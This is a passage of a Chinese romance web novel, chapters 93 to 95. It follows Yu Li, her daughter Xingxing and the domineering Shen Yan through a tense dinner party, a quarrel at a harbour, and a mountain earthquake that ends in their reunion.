都是一群富二代,公子哥儿,喝多了,很难掌握话语之间的分寸,又或者,就是故意替徐晚清鸣不平,问得直截了当,不加掩饰。 已经很久,以沈砚这样的位置,没有人敢在社交场合这样刁难他。 几乎是在对方话语落完的一瞬,沈砚漆黑的眉陡然冷冽,他气势素来极强,抬眼望过去的一瞬间,已经让问出问题的男人冷汗涔涔。 席间气氛陡然凝结。 但是坐在主位的喻梨很快大大方方道:“星星爸爸去世了,他是沈砚哥弟弟,如果一定要说我们俩之间的关系,你们大概可以理解为,是大伯对弟妹的照拂。” 喻梨每说一句,沈砚捏着餐具的手指就紧一分,下颌线绷紧,冷白脖颈,青筋毕现。 “哦,这样啊,沈先生真是体贴周到。那看来我们晚晚还有机会。”喻梨给了解释,一群不知天高地厚的富二代们很快笑嘻嘻的暖场。 喻梨也笑,听出她朋友话里的意思,目光坦然望向对面徐晚清:“确实不希望徐小姐误会,沈砚哥人很好,徐小姐也很优秀,如果不介意,我倒是愿意做这个媒,替沈砚哥担保。” 周致松一口气,整个人有些懒散靠在后桌藤椅上,手腕上一只昂贵腕表将他手腕也衬得格外贵气似的,意味深长地抿了一口酒。 徐清晚看着脸色微微发白的沈砚,心里似乎终于痛快了几分似的,遥遥朝他举了举酒杯。 沈砚偏头看一眼喻梨。 夜色里,灯光微醺,她脸颊喝得红扑扑,因为是主人,说话那样温柔妥帖,烛光印得她眼底星光点点,她唇色也十分诱人,但是沈砚面无表情地想,这样好看的一张唇,是怎么可以微笑着说出这样残忍的话。 而明明昨晚,他才那样言辞恳切的卑微的恳求过她…… 他要照顾星星,难得这种场合,滴酒未沾。 这会儿忽然抬手将水晶杯里的香槟一饮而尽,冷眼望向她:“你既然要替人保媒,不如说说看,我好在哪里?” 第93章 第93章那他一定爱妈妈,像妈妈…… 星星有些无辜地坐在两个大人中间。 沈砚骨节分明的手指捏着手里的空杯,神态那般松弛,但谁都能从他调侃的语气里觉察出禀冽的寒意。 喻梨大约也没想过,会忽然遭到他这样直接的刁难。 众人目光一时都落在她身上,喻梨稳了稳心神,面对身旁沈砚冷冽的目光,掩饰性拿起手旁的柠檬水抿了一口,尽力控制住自己表情开口:“优点很多,这恐怕需要需要徐小姐自己慢慢发现。” 回答得不算有新意,但好歹算是替自己解围。 徐晚清笑了,抬手举杯,遥遥朝两人敬了一杯,仿佛应承了似的,大大方方的表示赞同。 沈砚目光一直死死落在喻梨脸上,闻言唇角微挑,忽然有些浪荡道:“那徐小姐介意单独了解一下我的优点吗,不如我带你周围转转?” 明明是问徐晚清,他目光却一瞬不瞬盯着喻梨,仿佛不愿意错过她脸上一丝一毫的表情,见喻梨微微有些不自在,他才侧过头,目光落在对面徐晚清脸上,桃花在点点灯光里,邪气得发亮。 “WOW……”此话一出,喝得有些微醺的富二代们顿时开始起哄。 徐晚清漂亮的小脸蛋难得立刻有些发红,但沈砚已经站起来,抬手绅士地坐了一个‘请’的姿势,徐晚清便也大方地起身,她穿一条香奈儿的黑色及膝裙,起身时,背影纤细苗条。 星星还不知道发生了什么,眨巴着眼睛,有些不安地看一眼身旁的喻梨。 喻梨就把她抱到身上,安抚意味很浓。 “妈妈,我困了。”星星兴致缺缺,揉了揉眼睛,趴在喻梨怀里。 喻梨也没有心思多留,便说:“抱歉,孩子困了,你们慢慢玩,我先告辞。”说着,已经抱孩子站起来。 撮合沈砚跟徐清晚的目的已经达到,倒也没人介怀,只有周致一同站起来:“我送你们。” 很快,餐桌上,又响起的一声声颇有意味的起哄声,喻梨已经没有管了,星星四岁,个子是班级里最高的,抱起来稍稍有些吃力,但她困了,小脑袋伏在喻梨肩膀上不肯下来。 下了台阶,走到木质栈道上时,周致绅士地抬手示意:“喻小姐不介意的话,交给我试试。” 星星听到,扒拉着喻梨的脖子不肯放,喻梨礼貌拒绝:“不了,谢谢,孩子怕生。” 周致倒也不好再伸手。 有保镖注意到这里的状况,已经小跑过来:“喻小姐,孩子交给我吧。” 这一年多,沈砚派遣的这两名保镖几乎形影不离,每当喻梨跟星星遇到麻烦时,立刻出现,星星也早就习惯了两个严肃的保镖叔叔。 喻梨抱着确实有些吃力,见星星不抗拒,将孩子交出去。 周致借机跟她聊了几句,晚风凉爽,他态度绅士,毫不掩饰对她的好感,但言语间很是妥帖,不会引人反感。 送到房间门口,有黑衣保镖严肃阻拦,周致笑着做投降状往后退了两不,打趣:“看来喻小姐身边的追求者都是这样被拦截的?喻小姐不觉得不自由吗?” 喻梨其实也已经有累了,没有理会他言语里的调侃,只是说:“我没有想那么多,目前也只考虑一个角色,就是星星妈妈。谢谢你,周先生,就送到这里吧。” 周致挑了一下眉。 说完,喻梨转身准备进入房间。 恰此时,周致手机响,他很快接起来,闻言脸色微微一变,望向喻梨:“喻小姐,恐怕你不能好好休息了。” 沈砚将徐晚清独自丢在一艘游艇上。 有保镖在,徐清晚无法动弹,站在栏杆上气急败坏地咒骂港口边面容冷酷的男子:“沈砚,你就是个疯子!” 沈砚的月白衬衫被晚风吹得微微鼓动,暗色里,俊脸冷酷,目光沉静幽暗,双手插兜,面无表情地目视着即将启动的游艇。 徐清晚的那群富二代们七手八脚地赶到岸边,纷纷开始咒骂,有人甚至要朝沈砚大打出手,被他周围训练有素的保镖一同扔到游艇上,全程这个男人眼睛都不眨一下,侧脸线条锋利冷峻,明显已经懒得同这群小屁孩周旋。 喻梨跟周致赶到,周致皱眉,看一眼周身散发强大的且带着不耐烦气息的男人,被眼前夸张的保镖队伍震惊,仿佛终于意识到沈砚身上这股与生俱来的压迫气息来源于哪儿,只说了句:“沈先生,请你立刻放人,你这算非法禁锢他人身体,我会报警。” 沈砚眼底阴霾不散,连眼神都未分给他,恍若未闻。 周致无法,小跑几步,跑上游艇,欲搭救被保镖按住瘦弱肩膀的徐清晚。 喻梨跟在他身后,见状,瞪一眼沈砚,跟上周致脚步。 被沈砚拽住手腕一把抓回来,牢牢禁禁锢住。 夜里海风吹得泛冷,喻梨闻到他身上熟极淡的烟草味,咬了咬唇:“沈砚,你别发疯了,赶紧放人!” 沈砚看一眼她,又看一眼周致背影,目光锐利,面色不悦:“你跟他单独一起?星星呢?” 喻梨欲挣开他手,没理会他问题,咬唇又强调一遍:“理智点,把人放下来。” 沈砚无视她,看人都上了游艇,抬手冲保镖打了一个姿势,但另一只手,依然牢牢拽住喻梨。 喻梨回头望过去,白色中型游艇划开水面,速度很快 ,已经远离岸边,船上经久不息的咒骂声渐渐飘远…… 喻梨微微张着唇,有些失语。 沈砚终于放开他,转身往酒店方向走。 喻梨看一眼逐渐消失在海面上的游艇,又看一眼沈砚背影,有种荒谬又无力的感觉,一方面觉得震惊,一方面又仿佛的确是沈砚的风格,这个男人从来不是能忍的个性,席间已经很不高兴,忍耐到现在,大约已经是极限。 但,喻梨不知道想起什么,一时没有动。 沈砚没等到人,很快折返,大步流星走到她面前。 两个人在港口的夜色里对视,码头灯光昏暗,她玫瑰黄色群裾被风吹得微微飞扬,肩膀裸露的一截,在昏暗的光线里,依旧莹亮。 “你还要在这里站多久?”他连声音都透着浓浓的不悦,仿佛也在忍耐她。 喻梨不理会他问题,只是说:“这就是你做事的风格吗,即使讨厌,有必要用这样极端的方法?” “极端吗,这是我给你和星星准备的游艇,如果没有一群莫名其妙的人,现在在上面享受的,是我们。”话里话外,是被人打扰后浓浓的扫兴,又很快抓住她话语里漏洞,口吻讽刺,“原来你还知道我讨厌,所以明知道我讨厌,依然把我推向别人,你……” “我爸爸减刑成功了。”喻梨忽然打断他,昏暗的灯光下,与他静静对视。 沈砚瞬间卡住。 喻梨重复一遍,语气平稳说:“我爸爸减刑成功了沈砚,最多半年,我会把他接来,跟我住一起。”说到这里,喻梨微微垂眸,似乎不敢触碰沈砚的目光,只轻轻说,“你也看到了,星星也越来越大,也越来越敏感,我们的关系,只会让她混乱,所以,整理清楚一点,对你,对我,对星星,都好。” 沈砚冷白的喉结微微滚动,但他目光一眨不眨落在她瓷白小脸上,不曾偏挪半分。 喻梨说完以后,仿佛不知道可以再说什么,暗色里,脚趾头蜷了蜷,侧身从他身旁走过。 很快被沈砚握住她纤细手臂,拽回来。 他力气非常大,落在她脸上的视线几乎要将她凿穿,桃花眼底的赤色被浓夜遮挡,声线冷酷地质问她:“混乱的是星星还是你?接受我有那么困难?需要你一二三再二三的找借口把我推开!” 大约没料到他会这样说,喻梨有些震惊,甚至哑口,只呆呆望着他被冷风拂过的刀削面庞,喉咙压抑片刻才艰涩道:“我没有混乱,也不需要整……” 她话还未说完,沈砚已经重重吻下来,仿佛单纯只是不想在听她讲话,吻得很重,几乎不留缝隙,喻梨欲挣扎,他一只手已经牢牢固定住她,娇软的身体被迫靠向他胸膛,另一只手箍住她下颌,被迫承受他潮湿的、又绝对强势的唇舌,她很快被他弄得几近缺氧,在那个近乎窒息般的吻里,僵硬的身体逐渐柔软下来,贴在他胸口,被他予取予求…… 良久,一吻才结束。 喻梨心跳很快,脑子里起了雾,头晕脑胀,隐约嗅到他衬衫上淡淡的烟草味道,一时忘记推开他。 没有预想的巴掌,沈砚看她一眼,见她只是发呆,忍不住环住她,将她纤细的身体整个拥在怀里,忽然叹息般贴着她耳廓说:“你刚才说我人很好,可我知道,我对你不好……” 嗓音低沉,透着一股子伤心,不知道是对自己说,还是对她说的,被海边的冷风,一吹就散了。 大概他嗓音透着那样的难受,喻梨忽然有些心酸,不知道为什么,忽然红了眼眶,喉咙有些发涩。 但是她很快推开他,抬头望过去,清了清嗓子说:“困难。” 沈砚怔住。 喻梨很快重复一遍:“接受你很困难,所以沈砚,你不要再这样了,就当是最后对我‘好’一次,放过我,也放过你自己。” 沈砚喉结滚动,手指紧紧握在一起,隐约泛起青筋,但在喻梨平和、冷静又近乎带着一丝祈求的目光里,无言以对。 这一次,喻梨再走,他没有再追,整个人宛如雕塑一样站在那里,有很久,不曾动弹。 星星被跟保镖叔叔玩了一会儿,等妈妈回来时,揉了揉眼睛,扑到她胸口,显然已经困极。 喻梨哄她:“宝贝,洗完澡再睡好不好?” 星星点了点头,任妈妈把自己放进浴缸里。 浴缸里很多泡泡,星星一下子又不困了,玩了一会儿,忽然摸到妈妈的脸,呆了呆,天真地问她:“妈妈,你为什么哭了?” “没有,是泡泡,泡泡打湿了妈妈的脸。”喻梨回答她的声音有些涩。 聪明的星星可不是那么好糊弄的:“可妈妈你的眼睛都红了。” 喻梨就不知道可以再怎么找借口。 但她很快抱住女儿软乎乎的小身体说:“妈妈只是忽然想起,很久以前,有个人对妈妈很好,把妈妈宠成像星星一样的小公主。” 星星小脑袋转了转说:“那他一定爱妈妈,像妈妈爱我。” 喻梨愣住。 第94章 完结篇上喻梨这次主动走进了几步,抬…… 喻梨定的第二天下午的机票。 早晨,星星比她先醒,估计没有吵醒她,自己去客厅毯子上玩了一会儿,隔了会儿实在无聊,把她手机拿过来,爬到喻梨身上,摇晃她:“妈妈,我要给大伯打视频。” 喻梨一整个晚上心绪不宁,半夜等星星睡着,喝了点酒,借助酒精,凌晨才睡着,这会儿被女儿弄醒,脑子还带着宿醉的茫然,习惯性翻到沈砚的号码,帮星星拨出去,毕竟这半年多,星星与沈砚联系频繁,喻梨没有刻意阻止过两人聊天。 这会儿号码一拨出去,喻梨陡然想起昨晚发生的事,铃声响了一秒钟,被她敏捷挂断。 “妈妈?”星星不解,眨巴着她的小眼睛有些无辜地望着喻梨。 喻梨想了想,只能解释:“宝贝,妈妈起来洗漱,陪你玩好不好?” 星星看她一眼,摇了摇头,固执地:“我要找大伯。”说完拿着喻梨的手机胡乱点一通。 “星星!”喻梨声音拔高了一点儿,抬手过去,想把手机夺过来。 但小姑娘比她更敏捷,已经一溜烟儿跳下床,躲开。喻梨下意识追出去,结果脚下一个踉跄,脚趾撞击到的墙柜,整个人痛得龇牙咧嘴,忍不住‘嘶’得一声,往下望去,发现脚趾头迅速红肿,指甲盖里泛出血,尖锐的疼痛。 大约她表情太痛苦,躲在不远处的星星被她吓到,一时竟也不敢过来,捧在手里的手机很快传来沈砚的声音:“喻梨,怎么了?” 星星‘哇’得一声吓哭了,断断续续表达:“妈妈,妈妈流血了。” “星星!”喻梨忍着疼痛,口吻重了一点,眼神示意女儿将手机还回来。 星星被吓到了,一时间扯着嗓子嚎得更大声。 沈砚赶过来时,还是星星替他扭开的门把。 小姑娘个子高,已经能碰到门把。 酒店高级套房内,兵荒马乱的场景,地毯上有血迹,星星眼角还挂着泪痕,看到他,大概是吓坏了,抱住他的腿重复说:“大伯,妈妈在流血。” 喻梨刚才吓到女儿,忍住脾气,从卧室走到客厅,抱起星星哄了一会儿,连伤口都顾不得,安慰星星自己没事,谁知道门铃响,听到是沈砚,小姑娘立刻从她怀里跳下来,去开门,又跟沈砚撒起娇来。 沈砚抱起星星走过来,他应该也是着急,还穿着丝绸质地的睡衣,很快注意到她白皙脚趾的伤口,指甲盖都翻起来,她皮肤白,越发显得伤口触目惊心的红,眉头微微拧紧:“怎么回事?” 回答他的,是喻梨的沉默。 好像每一次,她想将沈砚推远一点儿,总会发生这样的那样的意外,喻梨有点心烦。 但沈砚已经蹲下身,把星星放到一旁,仔细检查起她伤口。 他手指刚要触碰到她脚踝,被喻梨伸手拦截,两个人一个坐着,一个半蹲着,视线很快在空气中相撞,喻梨强忍着疼痛淡淡道:“不是什么大问题,你先把星星带去洗漱,我会跟酒店服务台打电话。” 沈砚没吭声,只是有些强势得握住她脚踝,看了一眼,因为他动作,喻梨冷不丁的又觉得疼了一下,很难忍不住不发出某种抽搐的气音。 “不是什么大问题,你哭什么?”沈砚口吻冷冽道。 喻梨就有点尴尬,心想谁哭了? 星星有些手足无措的望着两个大人。 沈砚很快拨通酒店服务线。 有服务生送来简单的外伤药物。 沈砚将她放在沙发上,半跪着帮她处理伤口,喻梨有些不习惯,说了几次自己可以的,被他无视,又冷睨她一眼 ,然后彼此在那个过程中沉默。 气氛有轻微的尴尬。 大约是为了打破这份尴尬,沈砚一边处理伤口,一边问她:“怎么会不小心弄到脚趾?” “星星一大早想给你打视频,被我阻止,她往床下跑,我去追她,指甲撞到墙。”喻梨倒也老实回答。 沈砚敏感捕捉到她话里信息,手上动作没有停,看她一眼:“为什么要阻止她给我联系我?” 喻梨这次没吭气。 沈砚这次便把她脚踝拉近了一点,微微的嘲讽:“又在试图带女儿一起推开我,你反反复复,打算这样折磨我多久?” 喻梨偏过头,没有看他。 处理好,星星好奇又有点心疼地趴过来,问她:“妈妈,你还疼不疼?” 喻梨揉了一把女儿乱糟糟的小脑袋,安慰她:“不疼了。” 沈砚把星星薅走:“宝贝,我们去洗漱。” 星星倒也乖巧的,大约早已习惯沈砚,一大一小在卫生间里嬉闹的声音很快传出来。 喻梨坐在沙发上,看一眼脚上的伤,听着卫生间里的动静,心里有种空白又茫然的无力感。 阳光明晃晃的从落地窗照耀进来,空气里隐约能看见细微的颗粒沉浮,喻梨睫毛低垂,在亮晃晃的光线里发呆。 沈砚牵着星星出来时问她:“早餐有想吃的吗,我让酒店送上来。” 喻梨看他一眼,他还穿一套雾霾蓝的睡衣,丝绸的质地,五官没有打理,下颌处有浅浅的胡茬,但依旧英挺俊逸,不同于年轻时的桀骜冷峻,带着成年后历练过的平和,轻易看不出情绪,桃花眼清冽,眼神平稳,若无其事的样子,仿佛昨晚的事情没有发生过。 喻梨望着他,开口说:“沈砚,我是不是给你一种没办法照顾自己的错觉,其实不是的,比如今早,这样的意外,我其实自己也能处理,最多麻烦一下服务生。” 有很长一段时间,喻梨在心平气和的跟沈砚重复一件事,她不需要他。 沈砚牵着星星的手跟她对视,平和眼神维持不住,星星被他冷不丁捏痛了,抬头望他一眼,委屈巴巴:“大伯,我痛。” 沈砚这才恍然,放开她,而后蹲下身,没有理会喻梨的话语,只是轻轻按住星星的肩膀,跟她讲:“大伯带你去吃早餐?” 星星看一眼不远处的喻梨,再看一眼沈砚,有些迟疑的点头。 直到一大一小出门,沈砚没有回应喻梨的话,喻梨也没有出声。 但星星素来敏感。 吃完早餐,也许是不知道如何面对喻梨,沈砚牵着她手去酒店的私人海滩散步。 小姑娘不时仰头看他一眼。 终于最后忍不住奶声奶气问他:“你跟妈妈吵架了吗?” 沈砚惊讶于女儿的敏感,但也不愿意敷衍她,只是同她说:“你在幼儿园也会跟好朋友闹别扭对不对?” 星星歪着脑袋想了想:“莉莉说我画得不对,要拿走我画笔,可我想自己画,我不开心,就推了她,她摔倒了,还哭了,我道歉她都不理我,中午的时候我把好吃的给她,她就又对我笑了。” 小姑娘表达得很清晰,沈砚便笑,蹲下来跟她平视道:“对,所以大伯跟妈妈一样,偶尔也会闹别扭,但我们会一起永远爱星星。” 星星垂下睫毛想了想,好半天才别扭道:“那我可以叫你爸爸吗?” 沈砚怔住。 星星还有点害羞,不敢看他,仿佛是怕被拒绝,别别扭扭的玩着自己白嫩嫩的小手指,没忍住又重复一遍:“我喜欢你,也喜欢妈妈,我想你当我爸爸,你可以不当别人的爸爸,只当我的爸爸吗?” 沈砚胸口滚烫,人生第一次被小姑娘弄得不知如何是好,甚至不知道该怎么回答,想抱她,又怕自己太用力把她弄坏了似的,喉头滚了滚,才有些颤抖问她:“这些话,有人教你说吗?” 小姑娘得不到沈砚的回应,有点慌,忍不住搂住他脖颈,埋在他怀里,眼眶里迅速积起一泡泪,委委屈屈的:“我想要爸爸,就我没有爸爸,你不要当别人的爸爸,当我的爸爸好不好?” 说完,眼泪啪嗒啪嗒往他脖颈里掉,哭得很伤心。 沈砚终于想起,昨晚晚餐,有人公然问起关于星星爸爸的话题,他跟喻梨都没有注意到星星的情绪,小姑娘一定把昨晚大人说的跟做得都看在眼底,一定受到伤害,此刻才会跟他说出这种话。 星星的眼泪一滴一滴,从沈砚脖颈划进胸口,侵入心脏,于是连他心脏一起,被反复揉搓,几乎无法言语,只能抱住女儿幼小的身躯,跟着红了眼眶。 “不能当着妈妈的面叫。” “但你可以偷偷叫。我永远是星星一个人的……爸爸。”沈砚喉头哽咽,发现自己说这两个字都有些颤抖。 小姑娘立刻高兴了,破涕为笑,伸出手指:“那我们拉钩钩。” “嗯,拉钩钩。” 星星就好开心。 一大一小,牵着手,赤脚踩在沙滩上。 隔一会儿,星星又仰头问他:“为什么不能当着妈妈的面叫?” 沈砚叹口气:“因为妈妈会不开心。爸爸爱星星,也爱妈妈,所以不想妈妈不开心。” 星星有些似懂非懂的,撇了撇嘴:“为什么妈妈会不开心?” 沈砚无法面对女儿清澈的目光,望着远处的大海:“因为爸爸以前对妈妈不好。” 星星听到这里,就有点不高兴,胖乎乎的脚指头踢了一下软软的沙子,想了想说:“那你跟妈妈道歉了吗?” 沈砚这次沉默。 星星就大声又严肃地跟他说:“你要跟妈妈道歉。” 沈砚这次看她一眼,答应:“好。” 星星站在原地,垂着小脑袋不肯走了。 沈砚也没动,就这么看着软乎乎的小姑娘。 隔了会儿,星星小大人似的叹口气,垂头丧气地自言自语道:“道歉也没有用,妈妈不喜欢你。” 清晨的海风吹拂过来,带着湿漉漉的气息,沈砚的桃花眼底,情绪复杂,神色透着浓浓的悲哀。 一大一小就这么牵着手站了一会儿,仿佛两个人都十分苦恼,并不知道可以怎么办。 “可我喜欢你。”星星又补了一句,声音闷闷的,抬头望着他,稚嫩的眼眶清澈透亮,让沈砚想起很久的从前从前,有个跟她很像的小姑娘,十七八岁的模样,追在他身后,用黏糊糊的,肉麻麻兮兮的口吻告白说:“沈砚,我喜欢你!” “我最最最喜欢你了,沈砚。” 那之后,很多次,沈砚的心脏 被喻梨踩踏撕碎,又被女儿悄悄缝补好。 喻梨永远一副不需要他的模样,平静,淡漠,除开关于星星的问题,其他事情一律不会同他多聊。 沈砚竟也习惯这种态度,很多时候,是他单方面将两个人的聊天页面当做日记簿,同她分享一些琐事。 出差时看到的奇异天色。 拍卖会上碰到的喻梨可能会喜欢的收藏品。 国外空运的小马驹,星星也许会喜欢。 他新定制的豪华游艇,里面有专门设计过的儿童房。 国外的某处房产,暑假时,她可以带星星过来度假。 他新学的某种蛋糕,做起来有些复杂,但好在成功了,也许是喻梨会喜欢的口味…… 林林总总,琐碎的,没有条理的,又像是汇报自己的行程。 有时候,喻梨比他秘书更清楚他行程。 但喻梨极少回应。 七月底,因为工作需要,喻梨带星星回了一趟喻父的老家。 山里的水果成熟期,借助公司的直播平台,卖得很好,但因为是生鲜品类,中间的打包发货最为棘手,山里空气好,喻梨带着放暑假女儿亲自去监督。 星星喜欢那里,即便被蚊虫叮咬,也一点不娇气,跟沈砚通电话时问他,她可不可以领养天天。 沈砚问她谁是天天? 电话那端,星星捂嘴偷笑,说大伯笨蛋,龙傲天是一只大公鸡,会打鸣,会啄小虫子,可威风啦。 沈砚被女儿逗笑,刚想说是谁取的‘龙傲天’的名字,电话信号忽然断断续续,只听见星星说了句‘妈妈,天花板在转……’. 沈砚再拨过去,信号中断。 他眼皮狠狠一跳,隐约有不好的预感。 不到五分钟,助理电话打过来,语气有些慌张道:“老板,您看到新闻了没,XX州发生7.4级地震,目前情况不明确。” 沈砚从书桌前站起来时,眼前有片刻的失明,闪电从眼前划过,刺得人眼睛疼,紧接着,是雷声的轰鸣,心惊肉跳。 暴雨天气,飞机根本无法飞行,航线申请不下来。 地震震中区域结果县城信号中断,伴随着大暴雨,前方传回的消息是,救援行动无法顺利开展。 沈砚组织最好的救援团队,七八辆车队,连夜出发,由南城赶往山区里,价格给得异常高,那样大的暴雨,极少数的专业人员敢冒死往里开。 喻梨的手机持续联系不上。 一整晚,伴随着暴雨里的雷鸣电闪,沈砚的救援车队没有停止进入的步伐,遇到逃出来的车流,问到震中心的情况,当地的师傅,皆是叹气摇头。 沈砚一颗心沉到谷底,司机以前参加过类似的救援队,有相应经验,忍不住从内视镜觑他脸色,好几次开口让助理劝他要不要算了,往回走,总得等雨停不是,这种暴雨天,塌房什么的,比地震更危险。 沈砚态度坚决,最后甚至自己掌握方向盘,义无反顾得冒雨往里开。 喻梨跟星星住在村里的一家民宿,条件一般,但算是当地最好的了。 突如起来的地震,喻梨也是第一次经历,当时她正在卫生间洗漱,感到不对,立刻抱着星星躲进卫生间。 房体震动剧烈,星星吓得呆住,喻梨紧紧抱住她,约莫有三五分钟的样子,母女俩躲在洗漱间,听着周围轰隆的声响,一动不敢动。 还是保镖打着电筒上来找她:“喻小姐,雨很大,怕有余震,这里不能待,老板说村里组织朝安全的地方转移,让大家赶紧收拾一下东西。”说完,帮她一起收拾。 喻梨不敢多呆,给星星裹上外套,借用手机的光亮,捡了几样重要的东西就下楼了,下楼时,发现楼道墙体有裂缝,不时有墙灰掉落,有些心悸的想起方才地震的晃动,抱着星星不敢多看。 民宿人不多,喻梨抱着星星跟上老板跟村民们的脚步,周围确实有不少房屋发生倒塌,有年轻力壮的村民组织营救,但天色又黑,雨声与雷声轰鸣,营救有难度,星星紧紧缩在她怀里,说了声‘妈妈,我害怕’,喻梨就紧紧抱住她,安慰她‘有妈妈在,不怕宝贝。’ 已经无比后悔,为什么要带女儿进山。 保镖几次想帮忙抱一下星星,小姑娘大约是太害怕,缩在妈妈怀里不肯出来,喻梨也就说不用了。 走了约莫半个小时,到村里的小学,那里地势平坦,墙体有裂缝,但操场上至少不会有山体塌方的风险,喻梨带着星星到时,已经有村里人搭的简易帐篷在那里,可以避雨。 村长认识她,知道村里一大半的山货都是她帮忙售卖,客气得让人领她跟星星到临时的帐篷下避雨、 保镖找来热水给星星,又说目前信号不通,联系不上沈先生那边,只能等明天,明天天气好点儿,一定带母女俩朝安全的地方转移。 喻梨‘嗯’了一声,看一眼怀里已经吓傻的星星,让他们也赶紧休息,明天还不知道是什么情况呢。 但很快村里人过来,说不远处的房屋倒塌,问有没有青壮年可以帮忙,有人压在倒塌的房屋下,得赶紧救出来。 两个保镖有些意动,喻梨便说,天灾面前,她跟星星现在很安全,不用管,还是先去救人。 两个人以前都是部队出来的,不再犹豫,很快跟着村民走了。 操场上乱糟糟的,人越来越多,帐篷也搭建得越来越多,不知道什么时候,雨停了,但凌晨又发生了一次余震,大家都被震醒,一时闹哄哄的,喻梨看一眼怀里熟睡的星星,捂住她耳朵,想让她睡得更舒服点,但又忍不住偷偷在她耳边说了声:“宝贝,对不起。” 又看了眼自己手机,只剩百分之三十的电量,依旧没有任何信号,想起最后一通电话,星星正在跟沈砚通话…… 不可避免的,喻梨想起沈砚。 如果跟着沈砚,星星是不是就不会遭遇这些? 乱起八遭的,喻梨那晚想了很多,迷迷糊糊,不知道自己什么时候抱着星星打盹睡着,等天蒙蒙亮,喻梨睁眼,周围依旧是乱糟糟、闹哄哄的,有受伤的人被抬过来,喻梨看到被压得血肉模糊的腿,下意识捂住星星的眼睛。 但怀里的星星其实睡得很香。 外套里的手机响。 应该是终于抢修好了信号。 是沈砚。 问她在哪儿?安全吗?星星跟她在一块儿吗? 但信号断断续续的,喻梨的回答似乎没有传递过去。 沈砚站在人群里,穿一简黑色冲锋衣和同色系工装裤,裤子沾满了泥泞,整个人灰扑扑的,身后还跟了几个人在人群中四处寻找母子俩,但他个子高,看起来就非常打眼。 他没看到喻梨,背对她的方向,喻梨却已经看到他。 很难形容那一刻看到沈砚时,那种震惊的感觉。 昨晚连夜的暴雨,加上余震,喻梨无法想象,沈砚是怎么进入受灾区的。 隔着手机的话筒,她甚至有些哑口。 好半天,她喉咙里才发出声响:“沈砚。” 沈砚回头,几乎是立刻看到蓝色帐篷下的母女俩。 冷白的喉结剧烈滚动,定定站立了有两三秒钟,一时仿佛不可置信,而后,毫不犹豫大步朝母女俩走过来。 那一秒钟,喻梨情绪收不住,眼眶不可抑制地红了。 惊心动魄的一个晚上,她努力扮演好妈妈的角色,拼命安慰星星不要害怕,有妈妈在。 但其实,妈妈曾经也是手足无措小孩,也是会害怕,会战栗,会绝望,会胆战心惊…… 那一瞬间,仿佛沈砚的出现,习惯了扮演坚强妈妈角色的喻梨又变成了委屈的,可以肆意哭泣、撒娇的小孩。 喻梨发觉自己在哭的时候,沈砚冰凉的指腹已经碰到她脸颊,似乎安抚,摩挲着她眼睑下大滴的泪珠,发现眼泪擦不干净,吻了一下她额头。 他唇带着一夜的寒凉,但吻得很虔诚,仿佛在触碰什么失而复得的珍宝。 眼泪掉在蜷缩在她怀里的星星脸上,星星醒了,揉了揉眼睛呢喃了一句:“妈妈,是不是还在下雨?” 喻梨被女儿逗笑。 但很快,星星看到沈砚,惊喜地冲他张开手,吓了一晚上的小姑娘要他抱:“爸爸。” 沈砚顺势将女儿捞进怀里。 小姑娘小猴子一样手脚并用,攀在他身上,很快意识到自己口误,整个小身板绷紧,吓成了虾米一样,埋在沈砚怀里不肯出来。 沈砚觑一眼喻梨。 她像是没听见,又或者听见了,故意装没听见,没有表现出任何应激的样子。 又或许,是种无声的默许。 星星也回头,小心翼翼看一眼妈妈的脸色。 妈妈没有不高兴。 她忍不住抬头看一眼沈砚,又看一眼喻梨。 然后,小 姑娘一只手搂着爸爸脖子,一只手抓住妈妈胳膊,撒娇:“要一起抱。” 喻梨这次主动走进了几步,抬手一起抱住了女儿跟沈砚。【你现在阅读的是 】 第95章 正文完结 第95章 正文完结“你说你需要我。…… 喻梨分别回了几个电话报平安。 应该是都收到地震的消息,纪欣瑜、赵雨浓、陆哲、蒋叔叔,还有很多陌生的电话。 她一一回复报平安,赵雨浓声音带着哭腔:“你吓死我了,刚好是你带星星去的地方,一晚上联系不上,我妈拜佛求神的,就担心你跟星星会不会有事,呜呜呜……” “运气好,民宿还比较结实,但是这里确实有房屋垮塌,也有不少人受伤。” “你赶紧回来。” “嗯,尽快……” “沈……砚呢,他应该担心星星吧。” 赵雨浓提到沈砚,喻梨就转身朝不远处望了一眼,星星正坐在沈砚腿上吃饼干,小姑娘昨晚吓了一晚上,脸上跟头发都乱糟糟的,她一边吃,沈砚一边拿湿纸巾帮她擦脸,又拢了拢她头发,倒不显得那么脏兮兮了。 “他过来了。”喻梨说。 赵雨浓一时没听懂:“什么?” “他第一时间赶过来了,现在跟星星在一起。”喻梨重复一遍,目光落在沈砚跟女儿身上,不知道为什么,一整个晚上的惊惧仿佛都消退了,有种劫后余生、活着真好的感觉。 赵雨浓十分震惊:“.……”但她明显听出喻梨这次口吻的不同。 “不管怎么样,大难不死,必有后福,你赶紧带星星回来吧,不然我心里还是七上八下的。”她只好说。 “嗯。先不跟你说了,这里现在还有点乱。” “好。” 喻梨挂了电话。 星星正在投喂沈砚饼干,见喻梨走过来,立刻又要投喂她:“妈妈,吃饼干。” 这种时候就不指望热腾腾的早餐了,沈砚带了一些物资过来,手底下的人帮忙分了。 周围有房屋倒塌,救灾部门在统计避难人数,看是否有遗漏。 喻梨捏捏女儿的脸颊:“你自己吃。” 沈砚抬头说:“东西收拾一下,航线目前申请不下来,还是只能坐车,待会儿商量一下线路再出发。” 喻梨点头‘嗯’了一声。 沈砚目光落在她脸上,有点深。 喻梨莫名,忍不住摸摸自己脸颊。 沈砚轻笑,抽出湿纸巾,像替星星擦拭那样,擦了擦她脸颊上的污渍。 “妈妈小花猫。”星星笑话她。 喻梨抬手想湿纸巾:“我自己来。” 被沈砚握住下颌:“别动。” 喻梨就有点不习惯,不知道为什么,忽然心跳很快,脸也慢慢红了。 沈砚正想说什么,私人手机忽然响,他只好放开她脸,又把星星交给她,看一眼母子两人,去不远处接电话。 喻梨喂星星喝牛奶,小姑娘一边喝牛奶一边吃饼干,吃得脸颊鼓鼓的。 不一会儿,沈砚走过来,桃花眼有些犹豫,但还是提出说:“姐想看看星星。” “清姐?”喻梨眨了一下眼,以为是沈清想确定星星的平安。 “嗯。”沈砚点头,表情有些许忐忑,随即说,“她跟我母亲在一起。” 喻梨愣了一下,没有作声。 沈砚看她表情,还是征询她意见:“方便吗?” 喻梨沉默片刻才同意说:“没什么不方便的。” 沈砚漆黑的眉毛微微扬了一下,目光透着些许感激。 